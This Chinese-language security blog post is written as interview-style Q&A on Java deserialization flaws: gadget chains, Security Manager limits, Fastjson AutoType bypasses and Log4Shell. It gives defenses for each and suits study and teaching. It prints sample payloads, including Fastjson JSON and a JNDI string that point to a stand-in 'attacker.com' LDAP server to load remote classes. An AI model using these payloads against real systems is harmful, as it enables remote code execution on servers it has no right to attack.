会Java代码审计不就把别人卷死了。。。

admin 2025年2月23日22:04:39评论34 views字数 2609阅读8分41秒阅读模式

1. 请解释Java反序列化漏洞的根本原因,并说明为何攻击者可以通过反序列化执行任意代码?

答案
Java反序列化的核心问题在于其默认机制允许通过ObjectInputStreamreadObject方法还原任意对象。攻击者通过构造恶意序列化数据,利用以下两点实现代码执行:

  • 动态行为触发:某些类的readObject方法在反序列化时会隐式执行代码(如HashMap的哈希计算触发equals/hashCode)。
  • Gadget链组合:利用类路径中可用的类(如Apache Commons Collections的InvokerTransformer)构造调用链,最终通过反射调用Runtime.exec等危险方法。
    例如,InvokerTransformer允许通过反射调用任意方法,攻击者将其串联到AnnotationInvocationHandler的动态代理触发点,形成完整的利用链。

2. JDK的Security Manager如何影响反序列化漏洞的利用?它的局限性是什么?

答案
Security Manager通过沙箱机制限制反序列化时的敏感操作(如文件读写、类加载):

// 示例策略文件配置
permission java.io.SerializablePermission "enableSubclassImplementation";
permission java.lang.RuntimePermission "accessClassInPackage.*";

局限性

  • 维护成本高:需精确配置权限白名单,否则易出现过度限制或漏洞。
  • 绕过可能:若攻击链仅依赖纯内存操作(如反射调用sun.misc.Unsafe),可能绕过Security Manager的检测。
  • 兼容性问题:许多框架(如Spring)需高权限运行,导致实际场景中Security Manager常被禁用。

3. 反序列化过程中,动态代理(Dynamic Proxy)和AnnotationInvocationHandler的作用是什么?请结合利用链说明

答案

  • 动态代理:通过Proxy.newProxyInstance创建代理对象,将方法调用路由到InvocationHandler
  • AnnotationInvocationHandler:作为动态代理的处理器,其invoke方法在处理equals/hashCode时会触发memberValues的隐式操作(如equalsImpl中的遍历)。
    利用链示例
// 构造代理对象触发AnnotationInvocationHandler的equalsImpl
Map proxyMap = (Map) Proxy.newProxyInstance(
    Map.class.getClassLoader(),
newClass[]{Map.class},
newAnnotationInvocationHandler(Override.class, maliciousMap)
);
// 反序列化时触发代理对象的equals/hashCode,进而执行恶意逻辑

在早期JDK中,攻击者通过将恶意TransformedMap绑定到AnnotationInvocationHandler,触发链式反射调用。

4. Fastjson的AutoType机制为何成为反序列化漏洞的核心?请结合JdbcRowSetImpl漏洞链说明攻击过程

答案
Fastjson的AutoType允许反序列化时动态加载任意类,攻击者通过构造恶意JSON触发漏洞:

{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://attacker.com/Exploit",
"autoCommit": true
}

漏洞链

  1. Fastjson解析@type指定的JdbcRowSetImpl类,调用其setDataSourceNamesetAutoCommit方法。
  2. setAutoCommit(true)触发JdbcRowSetImplconnect()方法,执行JNDI lookup请求攻击者控制的LDAP服务器。
  3. LDAP返回恶意序列化对象,触发目标机载入远程类(如Exploit.class),实现RCE。
    防御:Fastjson 1.2.68后默认关闭AutoType,启用safeMode或白名单限制可解析的类。

5. 如何通过Fastjson的"deserialization feature"绕过AutoType黑名单?请以TemplatesImpl类为例说明

答案
绕过原理:Fastjson黑名单未覆盖某些JDK高危类(如com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl),攻击者可构造恶意JSON加载字节码:

{
"@type": "com.sun.org.apache.xalan...TemplatesImpl",
"_bytecodes": ["恶意字节码Base64"],
"_name": "a.b",
"_tfactory": {}
}

触发条件

  • 目标环境需存在TemplatesImpl类。
  • Fastjson版本≤1.2.68且未开启safeMode
    执行流程:反序列化时,Fastjson通过getOutputProperties()触发字节码加载,静态代码块中的恶意逻辑(如Runtime.exec)被执行。

6. 分析Log4j 2.x(CVE-2021-44228)与反序列化漏洞的结合利用场景

答案
Log4j 2.x的漏洞本质是JNDI注入,但可通过反序列化扩大攻击面:

  1. 直接攻击:日志中包含${jndi:ldap://attacker.com/Exploit},触发JNDI请求加载远程类。
  2. 反序列化配合:若应用同时存在反序列化漏洞(如HTTP参数解析),攻击者可注入JNDI Payload到日志上下文中,利用Log4j的漏洞执行二次攻击。
    示例
// 通过反序列化漏洞向日志写入恶意数据
logger.error("${jndi:ldap://attacker.com/Exploit}");

防御:升级Log4j至2.17.0+,禁用messageLookup,并移除JndiLookup类。

原文始发于微信公众号(吉祥讲安全):会Java代码审计不就把别人卷死了。。。

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月23日22:04:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   会Java代码审计不就把别人卷死了。。。https://cn-sec.com/archives/3771176.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息